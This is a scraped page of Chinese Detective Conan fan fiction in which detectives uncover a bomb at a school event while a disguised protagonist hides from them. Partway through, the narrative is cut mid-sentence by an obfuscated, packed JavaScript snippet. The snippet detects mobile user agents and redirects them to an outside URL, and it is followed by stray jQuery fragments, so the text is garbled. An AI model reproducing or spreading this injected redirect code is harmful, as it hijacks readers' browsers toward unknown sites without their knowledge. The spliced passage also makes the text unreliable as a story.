降谷零想起了自己刚刚见到的,正在演讲的同期——没记错的话,他这个同期是爆破组的警察吧?
“既然最后都是交给条子处理,为什么不直接叫外面那个条子拆弹?”反正炸弹都已经拆完了,降谷零并不担心自己说出这句话后柏图斯会去找自己的同期。
“会引起不必要的怀疑——而且,你怎么知道那个警官会拆弹?”风间羽栖眯了眯眼,注意到一个问题:“没记错的话,这是交通安全宣传吧?来的最有可能的是交通部的警察。”虽然之前和萩原警官他们交谈过,知道他们的确是爆破组的警官。
降谷零动作一顿,他没有顺着风间羽栖的话走,而是装作一副不在意的样子:“啊,是怎么样吗?怪不得你要来麻烦我。”自然的揭过了这个话题。
[印象值+25。]
[关键人物安室透对您的印象为:敏锐且多疑。]
没有试探成功啊……系统提示也没
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309407|166584||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有什么有用的信息,原本还想试探一下波本是不是认识萩原警官,不过获取了一点印象值也算是意外之喜,风间羽栖没有接着刚刚那个话题。
他刚准备让安室透离开,突然听到了门口有脚步声。
-
礼堂内的活动举行的很顺利。
萩原研二把作为奖品的玩偶发给学生,看着小兔玩偶,他想起了拿着其中一只玩偶的青年。
应该坐在台下吧?他刚刚注意到过,是坐在左侧最外面那排——萩原研二的目光看向左侧。
一只孤零零的玩偶躺在椅子上,因为被前面的人挡住,只能看见一点兔子的耳朵尖。
很明显,椅子上没有人。萩原研二的皱了皱眉,小羽栖不见了?
正好发完了玩偶后的活动没有他的事了,于是在下台后,萩原研二走向了那个位置。
萩原研二拿起了座位上的玩偶,带着友善的笑容询问座位旁边的人:“你好,请问一下,你知道这个位置上的人去哪了吗?”
旁边的人茫然的摇了摇头。
萩原研二拿着小兔玩偶眉头皱的更紧了,发现他在台下呆了很久没回后台的松田阵平也走了过来。
“怎么了?”松田阵平问道。
“啊,小羽栖不见了。”萩原研二指了指座位:“不知道去哪了。”
“可能一会就回来了。”松田阵平不太在意的说,他此时站在萩原研二下面一点的位置,余光可以看见这一排学生,突然他注意到了这一排从左往右的第二个也有个空位。
他忽然严肃了神情:“同学,可以让一下吗?”
这一排左边的第一个学生不明所以的站了起来,给他让了个路。
松田阵平用手指在座位边缘摸了一下,粘上了些许粉末,他凑近闻了闻,变了神色。
“怎么了?”注意到他神色不对的萩原研二有些紧张的问道。
松田阵平没有回答,他看向这排左边第一个的学生,询问:“你知道这个人往哪走了吗?”
那个学生想了想,指了个方向。
松田阵平拽着萩原研二就往那个方向走。
“哎哎哎?小阵平——”萩原研二有些意外的喊着:“发生什么事了?”
把他拽进走廊关上门后,松田阵平给他看了眼他手上沾着的粉末,为了避免被学生听到引起恐慌,他压低了声音:“有炸弹。”
萩原研二瞳孔微缩。
-
脚步声很匆忙,期间伴着一点奇怪的声音——像是什么玻璃珠子敲在纽扣上的声音。
风间羽栖想起了玩偶的眼睛,松田阵平给他的玩偶的眼睛就是玻璃珠子做的。
他暗道不好,不会是萩原警官和松田警官发现他不在座位找过来了吧?
无论是谁,看到现在这个情景,他和安室透都会被怀疑是炸弹犯的吧?
降谷零首先反应了过来,他从房间的窗户翻了出去。
风间羽栖也踏上窗台,不过他的动作没有安室透利落,眼看着门要被打开,降谷零试图去拽他的手把他快点扯出来。
会被发现的,不能让波本碰到他的皮肤,慌乱中,风间羽栖缩了手,随后失去了平衡,缩着脑袋搁着一层衣物砸在降谷零的胸口,连带着降谷零失去平衡倒在地上。
……好痛。风间羽栖眼冒金星。